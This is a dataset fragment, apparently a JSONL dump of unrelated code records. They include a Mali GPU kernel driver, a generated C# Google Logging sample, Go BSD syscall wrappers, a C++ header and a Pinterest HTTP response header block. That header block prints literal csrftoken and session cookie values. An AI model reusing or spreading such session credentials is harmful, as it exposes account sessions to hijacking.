LIMA_PP_FRAME_REG_NUM; i++)\n\t\twritel(frame[i], ip->iomem + LIMA_PP_FRAME + i * 4);\n\n\tfor (i = 0; i < 3; i++) {\n\t\tfor (j = 0; j < LIMA_PP_WB_REG_NUM; j++)\n\t\t\twritel(wb[n++], ip->iomem + LIMA_PP_WB(i) + j * 4);\n\t}\n}\n\nstatic int lima_pp_hard_reset_poll(struct lima_ip *ip)\n{\n\tpp_write(LIMA_PP_PERF_CNT_0_LIMIT, 0xC01A0000);\n\treturn pp_read(LIMA_PP_PERF_CNT_0_LIMIT) == 0xC01A0000;\n}\n\nstatic int lima_pp_hard_reset(struct lima_ip *ip)\n{\n\tstruct lima_device *dev = ip->dev;\n\tint ret;\n\n\tpp_write(LIMA_PP_PERF_CNT_0_LIMIT, 0xC0FFE000);\n\tpp_write(LIMA_PP_INT_MASK, 0);\n\tpp_write(LIMA_PP_CTRL, LIMA_PP_CTRL_FORCE_RESET);\n\tret = lima_poll_timeout(ip, lima_pp_hard_reset_poll, 10, 100);\n\tif (ret) {\n\t\tdev_err(dev->dev, \"pp hard reset timeout\\n\");\n\t\treturn ret;\n\t}\n\n\tpp_write(LIMA_PP_PERF_CNT_0_LIMIT, 0);\n\tpp_write(LIMA_PP_INT_CLEAR, LIMA_PP_IRQ_MASK_ALL);\n\tpp_write(LIMA_PP_INT_MASK, LIMA_PP_IRQ_MASK_USED);\n\treturn 0;\n}\n\nstatic void lima_pp_print_version(struct lima_ip *ip)\n{\n\tu32 version, major, minor;\n\tchar *name;\n\n\tversion = pp_read(LIMA_PP_VERSION);\n\tmajor = (version >> 8) & 0xFF;\n\tminor = version & 0xFF;\n\tswitch (version >> 16) {\n\tcase 0xC807:\n\t name = \"mali200\";\n\t\tbreak;\n\tcase 0xCE07:\n\t\tname = \"mali300\";\n\t\tbreak;\n\tcase 0xCD07:\n\t\tname = \"mali400\";\n\t\tbreak;\n\tcase 0xCF07:\n\t\tname = \"mali450\";\n\t\tbreak;\n\tdefault:\n\t\tname = \"unknown\";\n\t\tbreak;\n\t}\n\tdev_info(ip->dev->dev, \"%s - %s version major %d minor %d\\n\",\n\t\t lima_ip_name(ip), name, major, minor);\n}\n\nint lima_pp_init(struct lima_ip *ip)\n{\n\tstruct lima_device *dev = ip->dev;\n\tint err;\n\n\tlima_pp_print_version(ip);\n\n\tip->data.async_reset = false;\n\tlima_pp_soft_reset_async(ip);\n\terr = lima_pp_soft_reset_async_wait(ip);\n\tif (err)\n\t\treturn err;\n\n\terr = devm_request_irq(dev->dev, ip->irq, lima_pp_irq_handler,\n\t\t\t IRQF_SHARED, lima_ip_name(ip), ip);\n\tif (err) {\n\t\tdev_err(dev->dev, \"pp %s fail to request irq\\n\",\n\t\t\tlima_ip_name(ip));\n\t\treturn err;\n\t}\n\n\tdev->pp_version = pp_read(LIMA_PP_VERSION);\n\n\treturn 0;\n}\n\nvoid lima_pp_fini(struct lima_ip *ip)\n{\n\n}\n\nint lima_pp_bcast_init(struct lima_ip *ip)\n{\n\tstruct lima_device *dev = ip->dev;\n\tint err;\n\n\terr = devm_request_irq(dev->dev, ip->irq, lima_pp_bcast_irq_handler,\n\t\t\t IRQF_SHARED, lima_ip_name(ip), ip);\n\tif (err) {\n\t\tdev_err(dev->dev, \"pp %s fail to request irq\\n\",\n\t\t\tlima_ip_name(ip));\n\t\treturn err;\n\t}\n\n\treturn 0;\n}\n\nvoid lima_pp_bcast_fini(struct lima_ip *ip)\n{\n\n}\n\nstatic int lima_pp_task_validate(struct lima_sched_pipe *pipe,\n\t\t\t\t struct lima_sched_task *task)\n{\n\tu32 num_pp;\n\n\tif (pipe->bcast_processor) {\n\t\tstruct drm_lima_m450_pp_frame *f = task->frame;\n\n\t\tnum_pp = f->num_pp;\n\n\t\tif (f->_pad)\n\t\t\treturn -EINVAL;\n\t} else {\n\t\tstruct drm_lima_m400_pp_frame *f = task->frame;\n\n\t\tnum_pp = f->num_pp;\n\t}\n\n\tif (num_pp == 0 || num_pp > pipe->num_processor)\n\t\treturn -EINVAL;\n\n\treturn 0;\n}\n\nstatic void lima_pp_task_run(struct lima_sched_pipe *pipe,\n\t\t\t struct lima_sched_task *task)\n{\n\tif (pipe->bcast_processor) {\n\t\tstruct drm_lima_m450_pp_frame *frame = task->frame;\n\t\tstruct lima_device *dev = pipe->bcast_processor->dev;\n\t\tstruct lima_ip *ip = pipe->bcast_processor;\n\t\tint i;\n\n\t\tpipe->done = 0;\n\t\tatomic_set(&pipe->task, frame->num_pp);\n\n\t\tif (frame->use_dlbu) {\n\t\t\tlima_dlbu_enable(dev, frame->num_pp);\n\n\t\t\tframe->frame[LIMA_PP_FRAME >> 2] = LIMA_VA_RESERVE_DLBU;\n\t\t\tlima_dlbu_set_reg(dev->ip + lima_ip_dlbu, frame->dlbu_regs);\n\t\t} else\n\t\t\tlima_dlbu_disable(dev);\n\n\t\tlima_bcast_enable(dev, frame->num_pp);\n\n\t\tlima_pp_soft_reset_async_wait(ip);\n\n\t\tlima_pp_write_frame(ip, frame->frame, frame->wb);\n\n\t\tfor (i = 0; i < frame->num_pp; i++) {\n\t\t\tstruct lima_ip *ip = pipe->processor[i];\n\n\t\t\tpp_write(LIMA_PP_STACK, frame->fragment_stack_address[i]);\n\t\t\tif (!frame->use_dlbu)\n\t\t\t\tpp_write(LIMA_PP_FRAME, frame->plbu_array_address[i]);\n\t\t}\n\n\t\tpp_write(LIMA_PP_CTRL, LIMA_PP_CTRL_START_RENDERING);\n\t} else {\n\t\tstruct drm_lima_m400_pp_frame *frame = task->frame;\n\t\tint i;\n\n\t\tatomic_set(&pipe->task, frame->num_pp);\n\n\t\tfor (i = 0; i < frame->num_pp; i++) {\n\t\t\tstruct lima_ip *ip = pipe->processor[i];\n\n\t\t\tframe->frame[LIMA_PP_FRAME >> 2] =\n\t\t\t\tframe->plbu_array_address[i];\n\t\t\tframe->frame[LIMA_PP_STACK >> 2] =\n\t\t\t\tframe->fragment_stack_address[i];\n\n\t\t\tlima_pp_soft_reset_async_wait(ip);\n\n\t\t\tlima_pp_write_frame(ip, frame->frame, frame->wb);\n\n\t\t\tpp_write(LIMA_PP_CTRL, LIMA_PP_CTRL_START_RENDERING);\n\t\t}\n\t}\n}\n\nstatic void lima_pp_task_fini(struct lima_sched_pipe *pipe)\n{\n\tif (pipe->bcast_processor)\n\t\tlima_pp_soft_reset_async(pipe->bcast_processor);\n\telse {\n\t\tint i;\n\n\t\tfor (i = 0; i < pipe->num_processor; i++)\n\t\t\tlima_pp_soft_reset_async(pipe->processor[i]);\n\t}\n}\n\nstatic void lima_pp_task_error(struct lima_sched_pipe *pipe)\n{\n\tint i;\n\n\tfor (i = 0; i < pipe->num_processor; i++) {\n\t\tstruct lima_ip *ip = pipe->processor[i];\n\n\t\tdev_err(ip->dev->dev, \"pp task error %d int_state=%x status=%x\\n\",\n\t\t\ti, pp_read(LIMA_PP_INT_STATUS), pp_read(LIMA_PP_STATUS));\n\n\t\tlima_pp_hard_reset(ip);\n\t}\n}\n\nstatic void lima_pp_task_mmu_error(struct lima_sched_pipe *pipe)\n{\n\tif (atomic_dec_and_test(&pipe->task))\n\t\tlima_sched_pipe_task_done(pipe);\n}\n\nstatic struct kmem_cache *lima_pp_task_slab;\nstatic int lima_pp_task_slab_refcnt;\n\nint lima_pp_pipe_init(struct lima_device *dev)\n{\n\tint frame_size;\n\tstruct lima_sched_pipe *pipe = dev->pipe + lima_pipe_pp;\n\n\tif (dev->id == lima_gpu_mali400)\n\t\tframe_size = sizeof(struct drm_lima_m400_pp_frame);\n\telse\n\t\tframe_size = sizeof(struct drm_lima_m450_pp_frame);\n\n\tif (!lima_pp_task_slab) {\n\t\tlima_pp_task_slab = kmem_cache_create_usercopy(\n\t\t\t\"lima_pp_task\", sizeof(struct lima_sched_task) + frame_size,\n\t\t\t0, SLAB_HWCACHE_ALIGN, sizeof(struct lima_sched_task),\n\t\t\tframe_size, NULL);\n\t\tif (!lima_pp_task_slab)\n\t\t\treturn -ENOMEM;\n\t}\n\tlima_pp_task_slab_refcnt++;\n\n\tpipe->frame_size = frame_size;\n\tpipe->task_slab = lima_pp_task_slab;\n\n\tpipe->task_validate = lima_pp_task_validate;\n\tpipe->task_run = lima_pp_task_run;\n\tpipe->task_fini = lima_pp_task_fini;\n\tpipe->task_error = lima_pp_task_error;\n\tpipe->task_mmu_error = lima_pp_task_mmu_error;\n\n\treturn 0;\n}\n\nvoid lima_pp_pipe_fini(struct lima_device *dev)\n{\n\tif (!--lima_pp_task_slab_refcnt) {\n\t\tkmem_cache_destroy(lima_pp_task_slab);\n\t\tlima_pp_task_slab = NULL;\n\t}\n}\n"} -{"text": "\ufeff// Copyright 2017 DAIMTO ([Linda Lawton](https://twitter.com/LindaLawtonDK)) : [www.daimto.com](http://www.daimto.com/)\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n// the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on\n// an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations under the License.\n//------------------------------------------------------------------------------\n// \n// This code was generated by DAIMTO-Google-apis-Sample-generator 1.0.0\n// Template File Name: methodTemplate.tt\n// Build date: 2017-10-08\n// C# generater version: 1.0.0\n// \n// Changes to this file may cause incorrect behavior and will be lost if\n// the code is regenerated.\n// \n//------------------------------------------------------------------------------ \n// About \n// \n// Unoffical sample for the Logging v2beta1 API for C#. \n// This sample is designed to be used with the Google .Net client library. (https://github.com/google/google-api-dotnet-client)\n// \n// API Description: Writes log entries and manages your Stackdriver Logging configuration.\n// API Documentation Link https://cloud.google.com/logging/docs/\n//\n// Discovery Doc https://www.googleapis.com/discovery/v1/apis/Logging/v2beta1/rest\n//\n//------------------------------------------------------------------------------\n// Installation\n//\n// This sample code uses the Google .Net client library (https://github.com/google/google-api-dotnet-client)\n//\n// NuGet package:\n//\n// Location: https://www.nuget.org/packages/Google.Apis.Logging.v2beta1/ \n// Install Command: PM> Install-Package Google.Apis.Logging.v2beta1\n//\n//------------------------------------------------------------------------------ \nusing Google.Apis.Logging.v2beta1;\nusing Google.Apis.Logging.v2beta1.Data;\nusing System;\n\nnamespace GoogleSamplecSharpSample.Loggingv2beta1.Methods\n{\n \n public static class LogsSample\n {\n\n\n /// \n /// Deletes all the log entries in a log. The log reappears if it receives new entries. Log entries written shortly before the delete operation might not be deleted. \n /// Documentation https://developers.google.com/logging/v2beta1/reference/logs/delete\n /// Generation Note: This does not always build corectly. Google needs to standardise things I need to figuer out which ones are wrong.\n /// \n /// Authenticated Logging service. \n /// Required. The resource name of the log to delete:\"projects/[PROJECT_ID]/logs/[LOG_ID]\"\"organizations/[ORGANIZATION_ID]/logs/[LOG_ID]\"\"billingAccounts/[BILLING_ACCOUNT_ID]/logs/[LOG_ID]\"\"folders/[FOLDER_ID]/logs/[LOG_ID]\"[LOG_ID] must be URL-encoded. For example, \"projects/my-project-id/logs/syslog\", \"organizations/1234567890/logs/cloudresourcemanager.googleapis.com%2Factivity\". For more information about log names, see LogEntry.\n /// EmptyResponse\n public static Empty Delete(LoggingService service, string logName)\n {\n try\n {\n // Initial validation.\n if (service == null)\n throw new ArgumentNullException(\"service\");\n if (logName == null)\n throw new ArgumentNullException(logName);\n\n // Make the request.\n return service.Logs.Delete(logName).Execute();\n }\n catch (Exception ex)\n {\n throw new Exception(\"Request Logs.Delete failed.\", ex);\n }\n }\n public class LogsListOptionalParms\n {\n /// Optional. If present, then retrieve the next batch of results from the preceding call to this method. pageToken must be the value of nextPageToken from the previous response. The values of other method parameters should be identical to those in the previous call.\n public string PageToken { get; set; } \n /// Optional. The maximum number of results to return from this request. Non-positive values are ignored. The presence of nextPageToken in the response indicates that more results might be available.\n public int? PageSize { get; set; } \n \n }\n \n /// \n /// Lists the logs in projects, organizations, folders, or billing accounts. Only logs that have entries are listed. \n /// Documentation https://developers.google.com/logging/v2beta1/reference/logs/list\n /// Generation Note: This does not always build corectly. Google needs to standardise things I need to figuer out which ones are wrong.\n /// \n /// Authenticated Logging service. \n /// Required. The resource name that owns the logs:\"projects/[PROJECT_ID]\"\"organizations/[ORGANIZATION_ID]\"\"billingAccounts/[BILLING_ACCOUNT_ID]\"\"folders/[FOLDER_ID]\"\n /// Optional paramaters.\n /// ListLogsResponseResponse\n public static ListLogsResponse List(LoggingService service, string parent, LogsListOptionalParms optional = null)\n {\n try\n {\n // Initial validation.\n if (service == null)\n throw new ArgumentNullException(\"service\");\n if (parent == null)\n throw new ArgumentNullException(parent);\n\n // Building the initial request.\n var request = service.Logs.List(parent);\n\n // Applying optional parameters to the request. \n request = (LogsResource.ListRequest)SampleHelpers.ApplyOptionalParms(request, optional);\n\n // Requesting data.\n return request.Execute();\n }\n catch (Exception ex)\n {\n throw new Exception(\"Request Logs.List failed.\", ex);\n }\n }\n \n }\n\n public static class SampleHelpers\n {\n\n /// \n /// Using reflection to apply optional parameters to the request. \n /// \n /// If the optonal parameters are null then we will just return the request as is.\n /// \n /// The request. \n /// The optional parameters. \n /// \n public static object ApplyOptionalParms(object request, object optional)\n {\n if (optional == null)\n return request;\n\n System.Reflection.PropertyInfo[] optionalProperties = (optional.GetType()).GetProperties();\n\n foreach (System.Reflection.PropertyInfo property in optionalProperties)\n {\n // Copy value from optional parms to the request. They should have the same names and datatypes.\n System.Reflection.PropertyInfo piShared = (request.GetType()).GetProperty(property.Name);\n\t\t\t\tif (property.GetValue(optional, null) != null) // TODO Test that we do not add values for items that are null\n\t\t\t\t\tpiShared.SetValue(request, property.GetValue(optional, null), null);\n }\n\n return request;\n }\n }\n}"} -{"text": "Age: 0\nConnection: keep-alive\nContent-Security-Policy: media-src 'self' *.pinimg.com blob: data:; object-src 'self' h.online-metrix.net; connect-src 'self' *.pinimg.com *.pinterest.com *.branch.io pinterest-media-upload.s3.amazonaws.com pinterest-waterloo.s3.amazonaws.com *.cedexis.com *.cedexis-radar.net ; script-src 'nonce-OXsVVbsQRj' 'strict-dynamic' 'self' *.pinterest.com *.pinimg.com *.google.com connect.facebook.net *.google-analytics.com *.googleapis.com *.gstatic.com *.accountkit.com *.facebook.com www.googleadservices.com googleads.g.doubleclick.net platform.twitter.com *.online-metrix.net *.bnc.lt bnc.lt *.branch.io *.yozio.com cdn.ampproject.org radar.cedexis.com *.cedexis-test.com 'unsafe-inline' 'unsafe-eval'; base-uri 'none'; report-uri /_/_/csp_report/\nContent-Type: text/html; charset=utf-8\nDate: Thu, 05 Oct 2017 13:22:09 GMT\nP3p: CP=\"This is not a P3P policy. See https://www.pinterest.com/_/_/help/articles/pinterest-and-p3p for more info.\"\nPinterest-Generated-By: coreapp-webapp-prod-0a014a7c\nPinterest-Version: 3030afc\nSet-Cookie: _auth=0; Domain=.pinterest.com; expires=Sun, 30-Sep-2018 13:22:09 GMT; httponly; Max-Age=31103999; Path=/; secure csrftoken=r6zvoG5zwiJslhRClxrD9ilTmKh0ZPq2; expires=Thu, 04-Oct-2018 13:22:09 GMT; Max-Age=31449600; Path=/; secure _pinterest_sess=TWc9PSZFS2hieVpGTGRDTk5paTdYUnd5bU11TVBRcFk0c0ozenZiNGFmNDhhSlI3eEF4ZUJ6VnVDY1VoUlZndkxkQjZVbk5wekxwc2x3YzZMZVlXNk8yODhXQXNzUDUvRFBKc0RtSkVsY1J1RnFVczQ1eTlUZGlvekxQNVZjSGt2bWcwOW9xRlZDOTROZnRLQUcxTmpXZTZXdHc9PSZzbFM0NXd1aUxRQWpiczh6QlVSMkh3Tk4veDQ9; Domain=.pinterest.com; expires=Sun, 30-Sep-2018 13:22:09 GMT; httponly; Max-Age=31103999; Path=/; secure\nStrict-Transport-Security: max-age=63072000; includeSubDomains; preload\nTransfer-Encoding: chunked\nVary: User-Agent, Cookie, Accept-Encoding\nX-Content-Type-Options: nosniff\nX-Exp-Upstream-Env: python\nX-Frame-Options: SAMEORIGIN\nX-Pinterest-Rid: 958034311768\nX-Ua-Compatible: IE=edge\nX-Upstream-Env: python\nX-Xss-Protection: 1; mode=block\n"} -{"text": "\n\n

    The count is {$count}

    \n\n\n\n"} -{"text": "{\n \"version\": \"1.0\",\n \"examples\": {\n }\n}\n"} -{"text": "#ifndef FIELD_FILE_H\n#define FIELD_FILE_H\n\n\n\n#include \"common/File.h\"\n\n\n\nclass FieldFile : public File\n{\npublic:\n FieldFile( const Ogre::String& file );\n FieldFile( File* file );\n FieldFile( File* file, const u32 offset, const u32 length );\n FieldFile( u8* buffer, const u32 offset, const u32 length );\n virtual ~FieldFile();\n\n File* Extract( const int file_number );\n};\n\n\n\n#endif // FIELD_FILE_H\n"} -{"text": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build darwin dragonfly freebsd netbsd openbsd\n\n// BSD system call wrappers shared by *BSD based systems\n// including OS X (Darwin) and FreeBSD. Like the other\n// syscall_*.go files it is compiled as Go code but also\n// used as input to mksyscall which parses the //sys\n// lines and generates system call stubs.\n\npackage unix\n\nimport (\n\t\"runtime\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n/*\n * Wrapped\n */\n\n//sysnb\tgetgroups(ngid int, gid *_Gid_t) (n int, err error)\n//sysnb\tsetgroups(ngid int, gid *_Gid_t) (err error)\n\nfunc Getgroups() (gids []int, err error) {\n\tn, err := getgroups(0, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif n == 0 {\n\t\treturn nil, nil\n\t}\n\n\t// Sanity check group count. Max is 16 on BSD.\n\tif n < 0 || n > 1000 {\n\t\treturn nil, EINVAL\n\t}\n\n\ta := make([]_Gid_t, n)\n\tn, err = getgroups(n, &a[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgids = make([]int, n)\n\tfor i, v := range a[0:n] {\n\t\tgids[i] = int(v)\n\t}\n\treturn\n}\n\nfunc Setgroups(gids []int) (err error) {\n\tif len(gids) == 0 {\n\t\treturn setgroups(0, nil)\n\t}\n\n\ta := make([]_Gid_t, len(gids))\n\tfor i, v := range gids {\n\t\ta[i] = _Gid_t(v)\n\t}\n\treturn setgroups(len(a), &a[0])\n}\n\n// Wait status is 7 bits at bottom, either 0 (exited),\n// 0x7F (stopped), or a signal number that caused an exit.\n// The 0x80 bit is whether there was a core dump.\n// An extra number (exit code, signal causing a stop)\n// is in the high bits.\n\ntype WaitStatus uint32\n\nconst (\n\tmask = 0x7F\n\tcore = 0x80\n\tshift = 8\n\n\texited = 0\n\tkilled = 9\n\tstopped = 0x7F\n)\n\nfunc (w WaitStatus) Exited() bool { return w&mask == exited }\n\nfunc (w WaitStatus) ExitStatus() int {\n\tif w&mask != exited {\n\t\treturn -1\n\t}\n\treturn int(w >> shift)\n}\n\nfunc (w WaitStatus) Signaled() bool { return w&mask != stopped && w&mask != 0 }\n\nfunc (w WaitStatus) Signal() syscall.Signal {\n\tsig := syscall.Signal(w & mask)\n\tif sig == stopped || sig == 0 {\n\t\treturn -1\n\t}\n\treturn sig\n}\n\nfunc (w WaitStatus) CoreDump() bool { return w.Signaled() && w&core != 0 }\n\nfunc (w WaitStatus) Stopped() bool { return w&mask == stopped && syscall.Signal(w>>shift) != SIGSTOP }\n\nfunc (w WaitStatus) Killed() bool { return w&mask == killed && syscall.Signal(w>>shift) != SIGKILL }\n\nfunc (w WaitStatus) Continued() bool { return w&mask == stopped && syscall.Signal(w>>shift) == SIGSTOP }\n\nfunc (w WaitStatus) StopSignal() syscall.Signal {\n\tif !w.Stopped() {\n\t\treturn -1\n\t}\n\treturn syscall.Signal(w>>shift) & 0xFF\n}\n\nfunc (w WaitStatus) TrapCause() int { return -1 }\n\n//sys\twait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error)\n\nfunc Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int, err error) {\n\tvar status _C_int\n\twpid, err = wait4(pid, &status, options, rusage)\n\tif wstatus != nil {\n\t\t*wstatus = WaitStatus(status)\n\t}\n\treturn\n}\n\n//sys\taccept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)\n//sys\tbind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)\n//sys\tconnect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)\n//sysnb\tsocket(domain int, typ int, proto int) (fd int, err error)\n//sys\tgetsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error)\n//sys\tsetsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error)\n//sysnb\tgetpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)\n//sysnb\tgetsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)\n//sys\tShutdown(s int, how int) (err error)\n\nfunc (sa *SockaddrInet4) sockaddr() (unsafe.Pointer, _Socklen, error) {\n\tif sa.Port < 0 || sa.Port > 0xFFFF {\n\t\treturn nil, 0, EINVAL\n\t}\n\tsa.raw.Len = SizeofSockaddrInet4\n\tsa.raw.Family = AF_INET\n\tp := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))\n\tp[0] = byte(sa.Port >> 8)\n\tp[1] = byte(sa.Port)\n\tfor i := 0; i < len(sa.Addr); i++ {\n\t\tsa.raw.Addr[i] = sa.Addr[i]\n\t}\n\treturn unsafe.Pointer(&sa.raw), _Socklen(sa.raw.Len), nil\n}\n\nfunc (sa *SockaddrInet6) sockaddr() (unsafe.Pointer, _Socklen, error) {\n\tif sa.Port < 0 || sa.Port > 0xFFFF {\n\t\treturn nil, 0, EINVAL\n\t}\n\tsa.raw.Len = SizeofSockaddrInet6\n\tsa.raw.Family = AF_INET6\n\tp := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))\n\tp[0] = byte(sa.Port >> 8)\n\tp[1] = byte(sa.Port)\n\tsa.raw.Scope_id = sa.ZoneId\n\tfor i := 0; i < len(sa.Addr); i++ {\n\t\tsa.raw.Addr[i] = sa.Addr[i]\n\t}\n\treturn unsafe.Pointer(&sa.raw), _Socklen(sa.raw.Len), nil\n}\n\nfunc (sa *SockaddrUnix) sockaddr() (unsafe.Pointer, _Socklen, error) {\n\tname := sa.Name\n\tn := len(name)\n\tif n >= len(sa.raw.Path) || n == 0 {\n\t\treturn nil, 0, EINVAL\n\t}\n\tsa.raw.Len = byte(3 + n) // 2 for Family, Len; 1 for NUL\n\tsa.raw.Family = AF_UNIX\n\tfor i := 0; i < n; i++ {\n\t\tsa.raw.Path[i] = int8(name[i])\n\t}\n\treturn unsafe.Pointer(&sa.raw), _Socklen(sa.raw.Len), nil\n}\n\nfunc (sa *SockaddrDatalink) sockaddr() (unsafe.Pointer, _Socklen, error) {\n\tif sa.Index == 0 {\n\t\treturn nil, 0, EINVAL\n\t}\n\tsa.raw.Len = sa.Len\n\tsa.raw.Family = AF_LINK\n\tsa.raw.Index = sa.Index\n\tsa.raw.Type = sa.Type\n\tsa.raw.Nlen = sa.Nlen\n\tsa.raw.Alen = sa.Alen\n\tsa.raw.Slen = sa.Slen\n\tfor i := 0; i < len(sa.raw.Data); i++ {\n\t\tsa.raw.Data[i] = sa.Data[i]\n\t}\n\treturn unsafe.Pointer(&sa.raw), SizeofSockaddrDatalink, nil\n}\n\nfunc anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {\n\tswitch rsa.Addr.Family {\n\tcase AF_LINK:\n\t\tpp := (*RawSockaddrDatalink)(unsafe.Pointer(rsa))\n\t\tsa := new(SockaddrDatalink)\n\t\tsa.Len = pp.Len\n\t\tsa.Family = pp.Family\n\t\tsa.Index = pp.Index\n\t\tsa.Type = pp.Type\n\t\tsa.Nlen = pp.Nlen\n\t\tsa.Alen = pp.Alen\n\t\tsa.Slen = pp.Slen\n\t\tfor i := 0; i < len(sa.Data); i++ {\n\t\t\tsa.Data[i] = pp.Data[i]\n\t\t}\n\t\treturn sa, nil\n\n\tcase AF_UNIX:\n\t\tpp := (*RawSockaddrUnix)(unsafe.Pointer(rsa))\n\t\tif pp.Len < 2 || pp.Len > SizeofSockaddrUnix {\n\t\t\treturn nil, EINVAL\n\t\t}\n\t\tsa := new(SockaddrUnix)\n\n\t\t// Some BSDs include the trailing NUL in the length, whereas\n\t\t// others do not. Work around this by subtracting the leading\n\t\t// family and len. The path is then scanned to see if a NUL\n\t\t// terminator still exists within the length.\n\t\tn := int(pp.Len) - 2 // subtract leading Family, Len\n\t\tfor i := 0; i < n; i++ {\n\t\t\tif pp.Path[i] == 0 {\n\t\t\t\t// found early NUL; assume Len included the NUL\n\t\t\t\t// or was overestimating.\n\t\t\t\tn = i\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tbytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]\n\t\tsa.Name = string(bytes)\n\t\treturn sa, nil\n\n\tcase AF_INET:\n\t\tpp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))\n\t\tsa := new(SockaddrInet4)\n\t\tp := (*[2]byte)(unsafe.Pointer(&pp.Port))\n\t\tsa.Port = int(p[0])<<8 + int(p[1])\n\t\tfor i := 0; i < len(sa.Addr); i++ {\n\t\t\tsa.Addr[i] = pp.Addr[i]\n\t\t}\n\t\treturn sa, nil\n\n\tcase AF_INET6:\n\t\tpp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))\n\t\tsa := new(SockaddrInet6)\n\t\tp := (*[2]byte)(unsafe.Pointer(&pp.Port))\n\t\tsa.Port = int(p[0])<<8 + int(p[1])\n\t\tsa.ZoneId = pp.Scope_id\n\t\tfor i := 0; i < len(sa.Addr); i++ {\n\t\t\tsa.Addr[i] = pp.Addr[i]\n\t\t}\n\t\treturn sa, nil\n\t}\n\treturn nil, EAFNOSUPPORT\n}\n\nfunc Accept(fd int) (nfd int, sa Sockaddr, err error) {\n\tvar rsa RawSockaddrAny\n\tvar len _Socklen = SizeofSockaddrAny\n\tnfd, err = accept(fd, &rsa, &len)\n\tif err != nil {\n\t\treturn\n\t}\n\tif runtime.GOOS == \"darwin\" && len == 0 {\n\t\t// Accepted socket has no address.\n\t\t// This is likely due to a bug in xnu kernels,\n\t\t// where instead of ECONNABORTED error socket\n\t\t// is accepted, but has no address.\n\t\tClose(nfd)\n\t\treturn 0, nil, ECONNABORTED\n\t}\n\tsa, err = anyToSockaddr(fd, &rsa)\n\tif err != nil {\n\t\tClose(nfd)\n\t\tnfd = 0\n\t}\n\treturn\n}\n\nfunc Getsockname(fd int) (sa Sockaddr, err error) {\n\tvar rsa RawSockaddrAny\n\tvar len _Socklen = SizeofSockaddrAny\n\tif err = getsockname(fd, &rsa, &len); err != nil {\n\t\treturn\n\t}\n\t// TODO(jsing): DragonFly has a \"bug\" (see issue 3349), which should be\n\t// reported upstream.\n\tif runtime.GOOS == \"dragonfly\" && rsa.Addr.Family == AF_UNSPEC && rsa.Addr.Len == 0 {\n\t\trsa.Addr.Family = AF_UNIX\n\t\trsa.Addr.Len = SizeofSockaddrUnix\n\t}\n\treturn anyToSockaddr(fd, &rsa)\n}\n\n//sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error)\n\n// GetsockoptString returns the string value of the socket option opt for the\n// socket associated with fd at the given socket level.\nfunc GetsockoptString(fd, level, opt int) (string, error) {\n\tbuf := make([]byte, 256)\n\tvallen := _Socklen(len(buf))\n\terr := getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(buf[:vallen-1]), nil\n}\n\n//sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)\n//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)\n//sys\trecvmsg(s int, msg *Msghdr, flags int) (n int, err error)\n\nfunc Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {\n\tvar msg Msghdr\n\tvar rsa RawSockaddrAny\n\tmsg.Name = (*byte)(unsafe.Pointer(&rsa))\n\tmsg.Namelen = uint32(SizeofSockaddrAny)\n\tvar iov Iovec\n\tif len(p) > 0 {\n\t\tiov.Base = (*byte)(unsafe.Pointer(&p[0]))\n\t\tiov.SetLen(len(p))\n\t}\n\tvar dummy byte\n\tif len(oob) > 0 {\n\t\t// receive at least one normal byte\n\t\tif len(p) == 0 {\n\t\t\tiov.Base = &dummy\n\t\t\tiov.SetLen(1)\n\t\t}\n\t\tmsg.Control = (*byte)(unsafe.Pointer(&oob[0]))\n\t\tmsg.SetControllen(len(oob))\n\t}\n\tmsg.Iov = &iov\n\tmsg.Iovlen = 1\n\tif n, err = recvmsg(fd, &msg, flags); err != nil {\n\t\treturn\n\t}\n\toobn = int(msg.Controllen)\n\trecvflags = int(msg.Flags)\n\t// source address is only specified if the socket is unconnected\n\tif rsa.Addr.Family != AF_UNSPEC {\n\t\tfrom, err = anyToSockaddr(fd, &rsa)\n\t}\n\treturn\n}\n\n//sys\tsendmsg(s int, msg *Msghdr, flags int) (n int, err error)\n\nfunc Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {\n\t_, err = SendmsgN(fd, p, oob, to, flags)\n\treturn\n}\n\nfunc SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {\n\tvar ptr unsafe.Pointer\n\tvar salen _Socklen\n\tif to != nil {\n\t\tptr, salen, err = to.sockaddr()\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\tvar msg Msghdr\n\tmsg.Name = 